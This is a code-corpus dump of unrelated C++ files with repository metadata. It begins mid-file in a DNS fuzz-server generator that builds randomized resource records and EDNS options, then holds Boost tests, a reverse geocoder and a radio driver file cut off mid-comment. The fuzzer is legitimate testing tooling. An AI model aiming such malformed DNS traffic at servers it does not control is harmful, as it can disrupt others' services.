tag\n\t\t\t\t\t\t      generateDomainname(),\n\t\t\t\t\t\t      signature ) );\n    }\n\n    /**********************************************************\n     * KEYGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> KEYGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        PacketData public_key = getRandomStream( 132 );\n\treturn std::shared_ptr<RDATA>( new RecordKEY( 0xffff,\n\t\t\t\t\t\t      RecordDNSKEY::RSASHA1,\n\t\t\t\t\t\t      public_key ) );\n    }\n\n    std::shared_ptr<RDATA> KEYGenerator::generate()\n    {\n        PacketData public_key = getRandomStream( 132 );\n\treturn std::shared_ptr<RDATA>( new RecordKEY( getRandom( 0xffff ),\n\t\t\t\t\t\t      RecordDNSKEY::RSASHA1,\n\t\t\t\t\t\t      public_key ) );\n    }\n\n    /**********************************************************\n     * NXTGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> NXTGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        std::vector<Type> types;\n        unsigned int type_count = getRandom( 0xffff );\n\ttypes.reserve( type_count );\n        for ( unsigned int i = 0 ; i < type_count ; i++ ) {\n            types.push_back( getRandom( 0xffff ) );\n        }\n\n        return std::shared_ptr<RDATA>( new RecordNXT( generateDomainname( getDomainname( hint1 ), hint2 ),\n\t\t\t\t\t\t      types ) );\n    }\n\n    std::shared_ptr<RDATA> NXTGenerator::generate()\n    {\n        std::vector<Type> types;\n        unsigned int type_count = getRandom( 0xffff );\n\ttypes.reserve( type_count );\n        for ( unsigned int i = 0 ; i < type_count ; i++ ) {\n            types.push_back( getRandom( 0xffff ) );\n        }\n\n        return std::shared_ptr<RDATA>( new RecordNXT( generateDomainname(), types ) );\n    }\n\n    /**********************************************************\n     * TKEYGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> TKEYGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n\tPacketData signature = getRandomSizeStream( 0xff );\n\tPacketData other     = getRandomSizeStream( 0xff );\n\n\tstd::shared_ptr<RDATA> p( new RecordTKEY( generateDomainname( getDomainname( hint1 ), hint2 ), // domain\n\t\t\t\t\t\t  generateAlgorithmName(),  // algorithm\n\t\t\t\t\t\t  getRandom(),         // inception\n\t\t\t\t\t\t  getRandom(),         // expiration\n\t\t\t\t\t\t  getRandom( 0xff ),\n\t\t\t\t\t\t  getRandom( 0xff ),\n\t\t\t\t\t\t  signature,\n                                                  other) );\n        return p;\n    }\n\n    std::shared_ptr<RDATA> TKEYGenerator::generate()\n    {\n\tPacketData signature = getRandomSizeStream( 0xff );\n\tPacketData other     = getRandomSizeStream( 0xff );\n\n\tstd::shared_ptr<RDATA> p( new RecordTKEY( generateDomainname(), // domain\n\t\t\t\t\t\t  generateAlgorithmName(),  // algorithm\n\t\t\t\t\t\t  getRandom(),          // inception\n\t\t\t\t\t\t  getRandom(),          // expiration\n\t\t\t\t\t\t  getRandom(),\n\t\t\t\t\t\t  getRandom(),\n\t\t\t\t\t\t  signature ) );\n        return p;\n    }\n\n    /**********************************************************\n     * TSIGGenarator\n     **********************************************************/\n    std::shared_ptr<RDATA> TSIGGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n\tPacketData signature = getRandomStream( 16 );\n\tuint64_t signed_time = (uint64_t)getRandom() + (((uint64_t)getRandom() ) << 32 );\n\n\tPacketData other = getRandomSizeStream( 0xff );\n\n\treturn std::shared_ptr<RDATA>( new RecordTSIGData( generateDomainname( getDomainname( hint1 ), hint2 ), // domain\n                                                           generateAlgorithmName(),  // algorithm\n                                                           signed_time,              // signed time\n                                                           getRandom( 0xffff ),      // fudge\n                                                           signature,                // mac\n                                                           getRandom( 0xffff ),      // original id\n                                                           getRandom( 0xffff ),      // error\n                                                           other ) );\n    }\n\n    std::shared_ptr<RDATA> TSIGGenerator::generate()\n    {\n\tPacketData signature = getRandomStream( 16 );\n\tuint64_t signed_time = (uint64_t)getRandom() + (((uint64_t)getRandom() ) << 32 );\n\n\tPacketData other = getRandomSizeStream( 0xff );\n\n\treturn std::shared_ptr<RDATA>( new RecordTSIGData( generateDomainname(),     // domain\n                                                           generateAlgorithmName(),  // algorithm\n                                                           signed_time,              // signed time\n                                                           getRandom( 0xffff ),      // fudge\n                                                           signature,                // mac\n                                                           getRandom( 0xffff ),      // original id\n                                                           getRandom( 0xffff ),      // error\n                                                           other ) );\n    }\n\n\n    /**********************************************************\n     * ResourceRecordGenarator\n     **********************************************************/\n    ResourceRecordGenerator::ResourceRecordGenerator()\n    {\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new RawGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new NSGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new CNAMEGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new DNAMEGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new AGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new AAAAGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new WKSGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new SOAGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new SRVGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new RRSIGGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new DNSKEYGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new DSGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new NSECGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new NSEC3Generator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new NSEC3PARAMGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new TLSAGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new SIGGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new KEYGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new NXTGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new TKEYGenerator ) );\n        mGenerators.push_back( std::shared_ptr<RDATAGeneratable>( new TSIGGenerator ) );\n    }\n\n\n    RRSet ResourceRecordGenerator::generate( const MessageInfo &hint1, const Domainname &hint2 )\n    {\n        Class class_table[] = { CLASS_IN, CLASS_CH, CLASS_HS, CLASS_NONE, CLASS_ANY };\n\n        std::shared_ptr<RDATA> resource_data = mGenerators.at( getRandom( mGenerators.size() - 1 ) )->generate( hint1, hint2 );\n\n        Domainname owner;\n        if ( resource_data->type() == TYPE_NSEC3 ) {\n            std::string hash;\n            encodeToBase32Hex( getRandomStream( 20 ), hash ); \n            owner = getDomainname( hint1  );\n            owner.addSubdomain( hash );\n        }\n        else {\n            owner = generateDomainname( getDomainname( hint1 ), hint2 );\n        }\n\n        unsigned int index = getRandom( sizeof(class_table)/sizeof(Class) - 1 );\n        if ( index >= sizeof(class_table)/sizeof(Class) ) {\n            throw std::logic_error( \"invalid class index\" );\n        }\n        RRSet rrset( owner,\n                     class_table[index],\n                     resource_data->type(),\n                     getRandom( 0xffffffff ) );\n        rrset.add( resource_data );\n\n        return rrset;\n    }\n\n    std::shared_ptr<OptPseudoRROption> RawOptionGenerator::generate( const MessageInfo &hint )\n    {\n\treturn generate();\n    }\n\n    std::shared_ptr<OptPseudoRROption> RawOptionGenerator::generate()\n    {\n \treturn std::shared_ptr<OptPseudoRROption>( new RAWOption( getRandom( 0x0f ), getRandomSizeStream( 0xff ) ) );\n    }\n\n    std::shared_ptr<OptPseudoRROption> NSIDGenerator::generate( const MessageInfo &hint )\n    {\n\treturn generate();\n    }\n\n    std::shared_ptr<OptPseudoRROption> NSIDGenerator::generate()\n    {\n\tssize_t length = getRandom( 0xff );\n\tstd::string data;\n\tdata.reserve( length );\n\tfor ( ssize_t i = 0 ; i < length ; i++ )\n\t    data.push_back( getRandom( 0xff ) );\n\treturn std::shared_ptr<OptPseudoRROption>( new NSIDOption( data ) );\n    }\n\n    std::shared_ptr<OptPseudoRROption> ClientSubnetGenerator::generate( const MessageInfo &hint )\n    {\n\treturn generate();\n    }\n\n    std::shared_ptr<OptPseudoRROption> ClientSubnetGenerator::generate()\n    {\n\tif ( getRandom( 2 ) ) {\n\t    std::ostringstream os;\n\t    os << getRandom( 0xff ) << \".\" << getRandom( 0xff ) << \".\" << getRandom( 0xff ) << getRandom( 0xff );\n\t    return std::shared_ptr<OptPseudoRROption>( new ClientSubnetOption( ClientSubnetOption::IPv4,\n\t\t\t\t\t\t\t\t\t       getRandom( 32 ),\n\t\t\t\t\t\t\t\t\t       getRandom( 32 ),\n\t\t\t\t\t\t\t\t\t       os.str() ) );\n\t}\n\telse {\n\t    std::ostringstream os;\n\t    os << std::hex << getRandom( 0xff );\n\t    for ( int i = 0 ; i < 15 ; i++ )\n\t\tos << \":\" << getRandom( 0xff );\n\t    return std::shared_ptr<OptPseudoRROption>( new ClientSubnetOption( ClientSubnetOption::IPv6,\n\t\t\t\t\t\t\t\t\t       getRandom( 128 ),\n\t\t\t\t\t\t\t\t\t       getRandom( 128 ),\n\t\t\t\t\t\t\t\t\t       os.str() ) );\n\t}\n    }\n\n\n    std::shared_ptr<OptPseudoRROption> CookieGenerator::generate( const MessageInfo &hint )\n    {\n\treturn generate();\n    }\n\n    std::shared_ptr<OptPseudoRROption> CookieGenerator::generate()\n    {\n        PacketData client, server;\n        unsigned int client_length = getRandom( 64 );\n        unsigned int server_length = getRandom( 64 );\n        \n\tclient.reserve( client_length );\n\tserver.reserve( server_length );\n        for ( unsigned int i = 0 ; i < client_length ; i++ )\n            client.push_back( getRandom( 0xff ) );\n        for ( unsigned int i = 0 ; i < server_length ; i++ )\n            server.push_back( getRandom( 0xff ) );\n\n        return std::shared_ptr<OptPseudoRROption>( new CookieOption( client, server ) );\n    }\n\n\n    std::shared_ptr<OptPseudoRROption> TCPKeepaliveGenerator::generate( const MessageInfo &hint )\n    {\n\treturn generate();\n    }\n\n    std::shared_ptr<OptPseudoRROption> TCPKeepaliveGenerator::generate()\n    {\n        uint16_t timeout = 0;\n        if ( getRandom( 4 ) ) {\n            timeout = getRandom( 0xffff );\n        }\n        return std::shared_ptr<OptPseudoRROption>( new TCPKeepaliveOption( timeout ) );\n    }\n\n\n    std::shared_ptr<OptPseudoRROption> KeyTagGenerator::generate( const MessageInfo &hint )\n    {\n\treturn generate();\n    }\n\n    std::shared_ptr<OptPseudoRROption> KeyTagGenerator::generate()\n    {\n        uint16_t count = getRandom( 0x0fff );\n        std::vector<uint16_t> tags;\n\ttags.reserve( count );\n        for ( uint16_t i = 0 ; i < count ; i++ )\n            tags.push_back( getRandom( 0xffff ) );\n        return std::shared_ptr<OptPseudoRROption>( new KeyTagOption( tags ) );\n    }\n\n    /**********************************************************\n     * OptionGenarator\n     **********************************************************/\n    OptionGenerator::OptionGenerator()\n    {\n        mGenerators.push_back( std::shared_ptr<OptGeneratable>( new RawOptionGenerator ) );\n        mGenerators.push_back( std::shared_ptr<OptGeneratable>( new NSIDGenerator ) );\n        mGenerators.push_back( std::shared_ptr<OptGeneratable>( new ClientSubnetGenerator ) );\n        mGenerators.push_back( std::shared_ptr<OptGeneratable>( new CookieGenerator ) );\n        mGenerators.push_back( std::shared_ptr<OptGeneratable>( new TCPKeepaliveGenerator ) );\n        mGenerators.push_back( std::shared_ptr<OptGeneratable>( new KeyTagGenerator ) );\n    }\n\n\n    void OptionGenerator::generate( MessageInfo &packet )\n    {\n\tif ( ! packet.isEDNS0() )\n\t    return;\n\n        std::shared_ptr<OptPseudoRROption> option = mGenerators.at( getRandom( mGenerators.size() - 1 ) )->generate( packet );\n\tpacket.addOption( option );\n    }\n}\n\n", "meta": {"hexsha": "72a9ebb06e37ccf9dca67a53cab90886c7b724f0", "size": 34270, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/rrgenerator.cpp", "max_stars_repo_name": "sischkg/nxnsattack", "max_stars_repo_head_hexsha": "c20896e40187bbcacb5c0255ff8f3cc7d0592126", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5.0, "max_stars_repo_stars_event_min_datetime": "2020-05-22T10:01:51.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-01T04:45:14.000Z", "max_issues_repo_path": "src/rrgenerator.cpp", "max_issues_repo_name": "sischkg/dns-fuzz-server", "max_issues_repo_head_hexsha": "6f45079014e745537c2f564fdad069974e727da1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2020-06-07T14:09:44.000Z", "max_issues_repo_issues_event_max_datetime": "2020-06-07T14:09:44.000Z", "max_forks_repo_path": "src/rrgenerator.cpp", "max_forks_repo_name": "sischkg/dns-fuzz-server", "max_forks_repo_head_hexsha": "6f45079014e745537c2f564fdad069974e727da1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2020-03-10T03:06:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-25T15:07:45.000Z", "avg_line_length": 37.0086393089, "max_line_length": 127, "alphanum_fraction": 0.5123723373, "num_tokens": 7634, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.542863297964157, "lm_q2_score": 0.2309197682220399, "lm_q1q2_score": 0.12535786694213533}}
{"text": "#include <boost/multiprecision/complex_adaptor.hpp>\n#include <boost/multiprecision/cpp_bin_float.hpp>\n#include <boost/multiprecision/cpp_complex.hpp>\n#include <boost/multiprecision/cpp_dec_float.hpp>\n#include <boost/multiprecision/cpp_int.hpp>\n#include <boost/multiprecision/debug_adaptor.hpp>\n#include <boost/multiprecision/eigen.hpp>\n#include <boost/multiprecision/integer.hpp>\n#include <boost/multiprecision/logged_adaptor.hpp>\n#include <boost/multiprecision/miller_rabin.hpp>\n#include <boost/multiprecision/number.hpp>\n#include <boost/multiprecision/rational_adaptor.hpp>\n\nint\nmain ()\n{\n  return 0;\n}\n", "meta": {"hexsha": "c0eb26505c868474e36162d7ca0d4a3ec72f4ec4", "size": 605, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "libboost-multiprecision/tests/basics/driver.cpp", "max_stars_repo_name": "build2-packaging/boost", "max_stars_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 4.0, "max_stars_repo_stars_event_min_datetime": "2021-02-23T11:24:33.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-11T20:10:46.000Z", "max_issues_repo_path": "libboost-multiprecision/tests/basics/driver.cpp", "max_issues_repo_name": "build2-packaging/boost", "max_issues_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libboost-multiprecision/tests/basics/driver.cpp", "max_forks_repo_name": "build2-packaging/boost", "max_forks_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.8421052632, "max_line_length": 52, "alphanum_fraction": 0.8165289256, "num_tokens": 142, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2422056341953392, "lm_q1q2_score": 0.12299489463966222}}
{"text": "// Boost.Units - A C++ library for zero-overhead dimensional analysis and \r\n// unit/quantity manipulation and conversion\r\n//\r\n// Copyright (C) 2003-2008 Matthias Christian Schabel\r\n// Copyright (C) 2008 Steven Watanabe\r\n//\r\n// Distributed under the Boost Software License, Version 1.0. (See\r\n// accompanying file LICENSE_1_0.txt or copy at\r\n// http://www.boost.org/LICENSE_1_0.txt)\r\n\r\n#include <boost/units/systems/si/length.hpp>\r\n#include <boost/units/systems/cgs/length.hpp>\r\n#include <boost/units/quantity.hpp>\r\n\r\nvoid foo()\r\n{\r\n    boost::units::quantity<boost::units::si::dimensionless> d(1.0 * boost::units::si::meters / boost::units::cgs::centimeters);\r\n}\r\n\r\n#include <boost/test/test_tools.hpp>\r\n\r\nint main()\r\n{\r\n  BOOST_CHECK( 1 == 2 );\r\n}\r\n", "meta": {"hexsha": "28f6d3e9012f152e607cbcbac16cbf9048808f13", "size": 750, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "libs/units/test/test_dimensionless_ice2.cpp", "max_stars_repo_name": "lijgame/boost", "max_stars_repo_head_hexsha": "ec2214a19cdddd1048058321a8105dd0231dac47", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 198.0, "max_stars_repo_stars_event_min_datetime": "2015-01-13T05:47:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-09T04:46:46.000Z", "max_issues_repo_path": "libs/boost/libs/units/test/test_dimensionless_ice2.cpp", "max_issues_repo_name": "flingone/frameworks_base_cmds_remoted", "max_issues_repo_head_hexsha": "4509d9f0468137ed7fd8d100179160d167e7d943", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 9.0, "max_issues_repo_issues_event_min_datetime": "2015-01-28T16:33:19.000Z", "max_issues_repo_issues_event_max_datetime": "2020-04-12T23:03:28.000Z", "max_forks_repo_path": "libs/boost/libs/units/test/test_dimensionless_ice2.cpp", "max_forks_repo_name": "flingone/frameworks_base_cmds_remoted", "max_forks_repo_head_hexsha": "4509d9f0468137ed7fd8d100179160d167e7d943", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 139.0, "max_forks_repo_forks_event_min_datetime": "2015-01-15T20:09:31.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-31T15:21:16.000Z", "avg_line_length": 28.8461538462, "max_line_length": 128, "alphanum_fraction": 0.6986666667, "num_tokens": 202, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5851011686727232, "lm_q2_score": 0.2094696714602651, "lm_q1q2_score": 0.12256094957289249}}
{"text": "#include \"RevGeocoder.h\"\n#include \"FeatureReader.h\"\n#include \"ProjUtils.h\"\n#include \"AddressInterpolator.h\"\n\n#include <functional>\n\n#include <boost/algorithm/string/split.hpp>\n#include <boost/algorithm/string/classification.hpp>\n\n#include <sqlite3pp.h>\n\nnamespace carto { namespace geocoding {\n    bool RevGeocoder::import(const std::shared_ptr<sqlite3pp::database>& db) {\n        std::lock_guard<std::recursive_mutex> lock(_mutex);\n        Database database;\n        database.id = \"db\" + std::to_string(_databases.size());\n        database.db = db;\n        database.bounds = getBounds(*db);\n        database.origin = getOrigin(*db);\n        _databases.push_back(database);\n        return true;\n    }\n\n    std::string RevGeocoder::getLanguage() const {\n        std::lock_guard<std::recursive_mutex> lock(_mutex);\n        return _language;\n    }\n\n    void RevGeocoder::setLanguage(const std::string& language) {\n        std::lock_guard<std::recursive_mutex> lock(_mutex);\n        _language = language;\n        _addressCache.clear();\n    }\n\n    unsigned int RevGeocoder::getMaxResults() const {\n        std::lock_guard<std::recursive_mutex> lock(_mutex);\n        return _maxResults;\n    }\n\n    void RevGeocoder::setMaxResults(unsigned int maxResults) {\n        std::lock_guard<std::recursive_mutex> lock(_mutex);\n        _maxResults = maxResults;\n    }\n\n    bool RevGeocoder::isFilterEnabled(Address::EntityType type) const {\n        std::lock_guard<std::recursive_mutex> lock(_mutex);\n        return std::find(_enabledFilters.begin(), _enabledFilters.end(), type) != _enabledFilters.end();\n    }\n    \n    void RevGeocoder::setFilterEnabled(Address::EntityType type, bool enabled) {\n        std::lock_guard<std::recursive_mutex> lock(_mutex);\n        auto it = std::find(_enabledFilters.begin(), _enabledFilters.end(), type);\n        if (enabled && it == _enabledFilters.end()) {\n            _enabledFilters.push_back(type);\n        }\n        else if (!enabled && it != _enabledFilters.end()) {\n            _enabledFilters.erase(it);\n        }\n    }\n\n    std::vector<std::pair<Address, float>> RevGeocoder::findAddresses(double lng, double lat, float radius) const {\n        std::lock_guard<std::recursive_mutex> lock(_mutex);\n\n        std::vector<std::pair<Address, float>> addresses;\n        for (const Database& database : _databases) {\n            if (database.bounds) {\n                // TODO: -180/180 wrapping\n                cglib::vec2<double> lngLatMeters = wgs84Meters({ lng, lat });\n                cglib::vec2<double> point = database.bounds->nearest_point({ lng, lat });\n                cglib::vec2<double> diff = point - cglib::vec2<double>(lng, lat);\n                double dist = cglib::length(cglib::vec2<double>(diff(0) * lngLatMeters(0), diff(1) * lngLatMeters(1)));\n                if (dist > radius) {\n                    continue;\n                }\n            }\n\n            _previousEntityQueryCounter = _entityQueryCounter;\n            QuadIndex index(std::bind(&RevGeocoder::findGeometryInfo, this, std::cref(database), std::placeholders::_1, std::placeholders::_2));\n            std::vector<QuadIndex::Result> results = index.findGeometries(lng, lat, radius);\n\n            for (const QuadIndex::Result& result : results) {\n                float rank = 1.0f - static_cast<float>(result.second) / radius;\n                if (rank > 0) {\n                    Address address;\n                    std::string addrKey = database.id + std::string(1, 0) + std::to_string(result.first);\n                    if (!_addressCache.read(addrKey, address)) {\n                        address.loadFromDB(*database.db, result.first, _language, [&database](const cglib::vec2<double>& pos) {\n                            return database.origin + pos;\n                        });\n                        _addressCache.put(addrKey, address);\n                    }\n                    addresses.emplace_back(address, rank);\n                }\n            }\n        }\n\n        std::sort(addresses.begin(), addresses.end(), [](const std::pair<Address, float>& addrRank1, const std::pair<Address, float>& addrRank2) {\n            return addrRank1.second > addrRank2.second;\n        });\n\n        if (addresses.size() > _maxResults) {\n            addresses.erase(addresses.begin() + _maxResults, addresses.end());\n        }\n\n        return addresses;\n    }\n\n    std::vector<QuadIndex::GeometryInfo> RevGeocoder::findGeometryInfo(const Database& database, const std::vector<std::uint64_t>& quadIndices, const PointConverter& converter) const {\n        std::string sql = \"SELECT id, features, housenumbers FROM entities WHERE quadindex in (\";\n        for (std::size_t i = 0; i < quadIndices.size(); i++) {\n            sql += (i > 0 ? \",\" : \"\") + std::to_string(quadIndices[i]);\n        }\n        sql += \")\";\n        if (!_enabledFilters.empty()) {\n            std::string values;\n            for (const Address::EntityType type : _enabledFilters) {\n                values += (values.empty() ? \"\" : \",\") + std::to_string(static_cast<int>(type));\n            }\n            sql += \" AND (type IN (\" + values + \"))\";\n        }\n\n        std::vector<QuadIndex::GeometryInfo> geomInfos;\n        std::string queryKey = database.id + std::string(1, 0) + sql;\n        if (_queryCache.read(queryKey, geomInfos)) {\n            return geomInfos;\n        }\n\n        sqlite3pp::query query(*database.db, sql.c_str());\n        for (auto qit = query.begin(); qit != query.end(); qit++) {\n            auto entityId = qit->get<unsigned int>(0);\n\n            EncodingStream featureStream(qit->get<const void*>(1), qit->column_bytes(1));\n            FeatureReader featureReader(featureStream, [&database, &converter](const cglib::vec2<double>& pos) {\n                return converter(database.origin + pos);\n            });\n\n            if (qit->get<const void*>(2)) {\n                EncodingStream houseNumberStream(qit->get<const void*>(2), qit->column_bytes(2));\n                AddressInterpolator interpolator(houseNumberStream);\n\n                std::vector<std::pair<std::uint64_t, std::vector<Feature>>> idFeatures = interpolator.readAddressesAndFeatures(featureReader);\n                for (std::size_t i = 0; i < idFeatures.size(); i++) {\n                    std::uint64_t encodedId = (idFeatures[i].first ? static_cast<std::uint64_t>(i + 1) << 32 : 0) | entityId;\n                    std::vector<std::shared_ptr<Geometry>> geometries;\n                    for (const Feature& feature : idFeatures[i].second) {\n                        if (feature.getGeometry()) {\n                            geometries.push_back(feature.getGeometry());\n                        }\n                    }\n                    geomInfos.emplace_back(encodedId, std::make_shared<MultiGeometry>(std::move(geometries)));\n                }\n            }\n            else {\n                std::vector<std::shared_ptr<Geometry>> geometries;\n                for (const Feature& feature : featureReader.readFeatureCollection()) {\n                    if (feature.getGeometry()) {\n                        geometries.push_back(feature.getGeometry());\n                    }\n                }\n                geomInfos.emplace_back(entityId, std::make_shared<MultiGeometry>(std::move(geometries)));\n            }\n        }\n\n        _entityQueryCounter++;\n        _queryCache.put(queryKey, geomInfos);\n        return geomInfos;\n    }\n\n    cglib::vec2<double> RevGeocoder::getOrigin(sqlite3pp::database& db) {\n        sqlite3pp::query query(db, \"SELECT value FROM metadata WHERE name='origin'\");\n        for (auto qit = query.begin(); qit != query.end(); qit++) {\n            std::string value = qit->get<const char*>(0);\n\n            std::vector<std::string> origin;\n            boost::split(origin, value, boost::is_any_of(\",\"), boost::token_compress_off);\n            return cglib::vec2<double>(std::stod(origin.at(0)), std::stod(origin.at(1)));\n        }\n        return cglib::vec2<double>(0, 0);\n    }\n\n    std::optional<cglib::bbox2<double>> RevGeocoder::getBounds(sqlite3pp::database& db) {\n        sqlite3pp::query query(db, \"SELECT value FROM metadata WHERE name='bounds'\");\n        for (auto qit = query.begin(); qit != query.end(); qit++) {\n            std::string value = qit->get<const char*>(0);\n\n            std::vector<std::string> bounds;\n            boost::split(bounds, value, boost::is_any_of(\",\"), boost::token_compress_off);\n            cglib::vec2<double> min(std::stod(bounds.at(0)), std::stod(bounds.at(1)));\n            cglib::vec2<double> max(std::stod(bounds.at(2)), std::stod(bounds.at(3)));\n            return cglib::bbox2<double>(min, max);\n        }\n        return std::optional<cglib::bbox2<double>>();\n    }\n} }\n", "meta": {"hexsha": "b67bd357593d19a2c531c0b73853cd0237def5e6", "size": 8693, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "geocoding/src/geocoding/RevGeocoder.cpp", "max_stars_repo_name": "farfromrefug/mobile-carto-libs", "max_stars_repo_head_hexsha": "c7e81a7c73661aa047de9ba7e8bbdf3a24bbf1df", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 6.0, "max_stars_repo_stars_event_min_datetime": "2018-06-27T17:43:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-29T18:50:49.000Z", "max_issues_repo_path": "geocoding/src/geocoding/RevGeocoder.cpp", "max_issues_repo_name": "farfromrefug/mobile-carto-libs", "max_issues_repo_head_hexsha": "c7e81a7c73661aa047de9ba7e8bbdf3a24bbf1df", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 22.0, "max_issues_repo_issues_event_min_datetime": "2019-04-10T06:38:09.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-20T08:12:02.000Z", "max_forks_repo_path": "geocoding/src/geocoding/RevGeocoder.cpp", "max_forks_repo_name": "farfromrefug/mobile-carto-libs", "max_forks_repo_head_hexsha": "c7e81a7c73661aa047de9ba7e8bbdf3a24bbf1df", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 5.0, "max_forks_repo_forks_event_min_datetime": "2019-03-12T10:25:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-28T10:18:56.000Z", "avg_line_length": 44.3520408163, "max_line_length": 184, "alphanum_fraction": 0.5793166916, "num_tokens": 1999, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5350984137988773, "lm_q2_score": 0.22815650740914753, "lm_q1q2_score": 0.12208618521252665}}
{"text": "#include \"driver/RadioEstimate.hpp\"\n\n#include \"EventDspFsmStates.hpp\"\n\n#include <math.h>\n#include <cmath>\n\n#define PI (M_PI)\n\n#include <fstream>\n\n#include \"driver/EventDsp.hpp\"\n#include \"driver/TxSchedule.hpp\"\n#include \"HiggsDriverSharedInclude.hpp\"\n#include \"driver/FsmMacros.hpp\"\n#include \"driver/EventDspFsmStates.hpp\"\n#include \"CustomEventTypes.hpp\"\n#include \"vector_helpers.hpp\"\n#include \"common/convert.hpp\"\n#include \"schedule.h\"\n#include \"driver/AirPacket.hpp\"\n#include \"driver/VerifyHash.hpp\"\n#include \"driver/DemodThread.hpp\"\n#include \"common/DataVectors.hpp\"\n#include \"driver/RadioDemodTDMA.hpp\"\n#include \"common/GenericOperator.hpp\"\n#include \"random.h\"\n#include <chrono>\n#include <ctime>\n\n#include <future>\n\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <net/if.h>\n#include <linux/if_tun.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/ioctl.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <arpa/inet.h> \n#include <sys/select.h>\n#include <sys/time.h>\n#include <errno.h>\n#include <boost/functional/hash.hpp>\n#include <numeric>\n#include \"fixed_iir.h\"\n\n#include <unistd.h>\n\n\nusing namespace std;\nusing namespace siglabs::smodem;\n\n\nstatic void handle_localfsm_tick(int fd, short kind, void *_radio)\n{ \n\n    // cout<<\"!!!!!!!!!!!!!!!!!!!!!!\"<<endl;\n    RadioEstimate *radio = (RadioEstimate*) _radio;\n    radio->idleCheckRemoteRing();\n    radio->tick_localfsm();\n\n}\n\n\n// static void handle_slow_poll_cpu_load(int fd, short kind, void *_radio)\n// {\n//     RadioEstimate *radio = (RadioEstimate*) _radio;\n//     if(radio->GET_RADIO_ROLE() == \"rx\" && radio->GET_POLL_FOR_CPU_LOAD()) {\n//         // dump\n//         raw_ringbus_t rb0 = {RING_ADDR_CS11, PERF_CMD | (1<<16) };\n//         radio->dsp->zmqRingbusPeerLater(radio->peer_id, &rb0, 0);\n\n//         // reset\n//         raw_ringbus_t rb1 = {RING_ADDR_CS11, PERF_CMD | (2<<16) };\n//         radio->dsp->zmqRingbusPeerLater(radio->peer_id, &rb1, 10*1000);\n\n//         struct timeval timeout = { .tv_sec = 3, .tv_usec = 0 };\n//         evtimer_add(radio->slow_poll_cpu_timer, &timeout);\n//   